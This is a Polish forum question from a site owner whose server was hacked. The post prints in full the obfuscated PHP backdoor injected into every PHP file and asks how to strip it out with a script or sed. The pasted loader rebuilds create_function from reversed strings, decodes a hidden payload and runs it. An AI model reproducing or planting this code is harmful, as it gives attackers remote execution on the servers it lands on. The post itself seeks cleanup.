Ostatnio ktoś włamał mi się na serwer i do wszystkich plików php jest dodany kod
$cds = 'U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*sut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44<!%o:!>! x242178}527}88:}334}472 x24<!%ff2!>!bssbz7]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)mx24- x24!>! x24/%tjw78]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.9317]445]212]445]43]321]467jsv%6<C>^#zsfvr# x5cq%_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek! x65 141 x74 145 x5f 146 x75 156 x63 164 x69 4- x24*!|! x24- x24 x5c%j:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h1927cq%7/7#@#7/7^#iubq# x5cq% x2:!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qiv%7-MSV,6<*)ujojR x27i!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfm**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W:~928>> x22:ftmbg39*56A157 x6e"; function oijyimm($%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$pyieogc84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256]y6g]257]y86g!|!**#j{hnpd#)tutjyf`opjudovg x22)5cq% x27Y%6<.msv`ftsbqA7>q%6< x7f27-SFGTOBSUOSVUFS,6<*ms]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6dsiihix = implode(array_map("oijyimm",str_split("%tjw!>&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20Q73:8297f:5297e:56-xr.985:529872]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>)%tjw)bssbz)#P#-#Q#-#B#-~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)u x5c1^W%c!>!%i x5c2^<!Ce*[!%cIj]67]452]88]5]48]32M3]d%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*C)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]2^ x24- x24tvctus)% x24- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* 5j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4ufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;osvcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt2]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<sut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmgepn)%epnbss-%rxW~!Ypp2)%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%6|7**111127-K)ebfsX x27u%)7fmjix6<C x27 x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj)udfoopdXA x22)7gj6<7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6<QeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649##T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-j%6<*Y%)fnbozcYufhA x272qj%6<^#zsfvr# x5 x24*<! x24- x24gps)%j>1<%j=tj{fpg)%%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]4+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!if((function_exists("},;uqpuft`msvd}+;!>!} x27;!>>]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CW&/ x24)% x24- x24y4 x24- x24]y8 tpmdR6<*id%)dfyfR x27tf+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cp x75 156 x61"]=1; $uas=strtolower($_SERVER[" x48 124 x54_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufs!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%n5-t.98]K4]65]D8]86]y31]278]y3f]5mqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&dppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,2w6Z6<.2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o>>1*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sbo*b x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%!|Z~!<##24gvodujpo! x24- x24y7 x24-fd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fd = $ksipory("", $dsiihix); $pyieogc();}}3of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!) x24]25 x24- x24-!% x2s%6<*17-SFEBFI,6<*127-UVPFNJU,6<*%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]W&)7gj6<.[A x27&6< x7fw6*!#]y84]275]y83]248]y83]256]y81]265)7gj6<*K)ftpmdXA6~6<u%7>/7&>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-buy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4<.5`hA x27pd%6<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{ x24- x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*<!%t:1L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]7strstr($uas," x6d 163 x69 145")) or (strstr($uaUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-K*Wsfuvso!%bss x5csboe))1/35.)1/14+9 x6f 142 x5f 163 x74 141156 x75 156 x61"])))) { $GLOBALS[" x61 156 120 x5f 125 x53 105 x52 137 x41 107 x45 116 x54"]); if ((#00;quui#>.%!<***f x27,*e x27,*d x27,*c x27,368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2wgpf{jt)!gj!<*2bd%-#1GO x22#)fep%c:>1<%b:>1<!gps)%j:*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovzB%z>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez4]284]364]6]234]342]58]24]31#-%tdz x7fw6* x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)fV x7f x7f x7f x7f<u%V x27{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpq x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K<*9-1-r%)s%>/h%:<**#5w6* x7f_*#fubfsdXk5`{66~6<&w6< x48y]#>m%:|:*r%:-t%)3of:opjudovg<~ x24n){return chr(ord($n)-1);} @error_reporting(0); $]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:osvufs:~:x24- x24]26 x24- x24<%j,,*!| x24- xj%7> x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273q x72 164") && (!isset($GLOBALS[" x61 275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6?]+^?]_ x5c}X x24<!%tmw!>!#]y%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd7R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopDs," x72 166 x3a 61 x31"))) { $ksipory = " x63 162*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7fw6*3qP8]37]278]225]241]334]fttj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)sTrREvxNoiTCnuf_EtaerCxECalPer_Rtsnzpzbhz'; $lxxjegm=explode(chr((413-293)),substr($usvlwyb,(32216-26339),(212-178))); $seknwoaat = $lxxjegm[0]($lxxjegm[(5-4)]); $vlfewpet = $lxxjegm[0]($lxxjegm[(13-11)]); if (!function_exists('yhiliuoag')) { function yhiliuoag($diznxuip, $rntntmxs,$xcmcih) { $jlxbakok = NULL; for($jkvlre=0;$jkvlre<(sizeof($diznxuip)/2);$jkvlre++) { $jlxbakok .= substr($rntntmxs, $diznxuip[($jkvlre*2)],$diznxuip[($jkvlre*2)+(7-6)]); } return $xcmcih(chr((44-35)),chr((477-385)),$jlxbakok); }; } $qlpkdziw = explode(chr((300-256)),'2701,21,4461,24,5422,37,4485,42,2902,56,4527,58,4321,47,5703,49,412,45,721,28,5231,49,1012,55,3853,34,962,50,4052,62,3314,51,2751,43,3887,27,2215,39,1067,52,4368,58,2300,20,5752,55,5373,49,2460,40,523,28,342,23,2110,38,906,33,5162,32,2320,54,4916,58,2825,23,3759,33,939,23,600,22,1501,45,3828,25,5073,68,5590,53,2722,29,4114,68,3946,68,2652,49,5039,34,2020,66,5542,48,2148,67,1330,43,4792,49,871,35,3011,54,4741,31,3157,55,4585,44,3466,70,622,42,1919,36,2583,69,67,66,3212,53,365,47,1397,52,5829,48,3641,63,1211,59,2958,53,698,23,482,41,1668,69,2254,46,2848,54,4974,65,3265,49,5643,60,1859,60,1737,69,0,67,5513,29,804,67,5280,58,5141,21,183,66,2536,47,1148,63,5194,37,133,50,3736,23,457,25,1603,65,249,20,2794,31,5338,35,3536,27,2500,36,4182,70,551,49,1449,31,2374,50,3417,49,2086,24,4841,41,4686,55,1546,57,269,48,1119,29,3125,32,4252,69,1955,65,3792,36,5459,54,3065,60,3563,38,4014,38,5807,22,4629,57,1480,21,317,25,4882,34,4426,35,664,34,4772,20,3914,32,3365,52,1270,60,1806,53,1373,24,2424,36,3704,32,749,55,3601,40'); $fwwqjfdfq = $seknwoaat("",yhiliuoag($qlpkdziw,$usvlwyb,$vlfewpet)); $seknwoaat=$usvlwyb; $fwwqjfdfq(""); $fwwqjfdfq=(442-321); $usvlwyb=$fwwqjfdfq-1;
jak mogę stworzyć skrypt w php albo w komendach linuxowych który zmieni ten cały kod na puste znaki ?
Próbowałem za pomocą sed -i 's/costam/cosinnego/' * ale nie da się chyba umieścić tego tekstu w poleceniu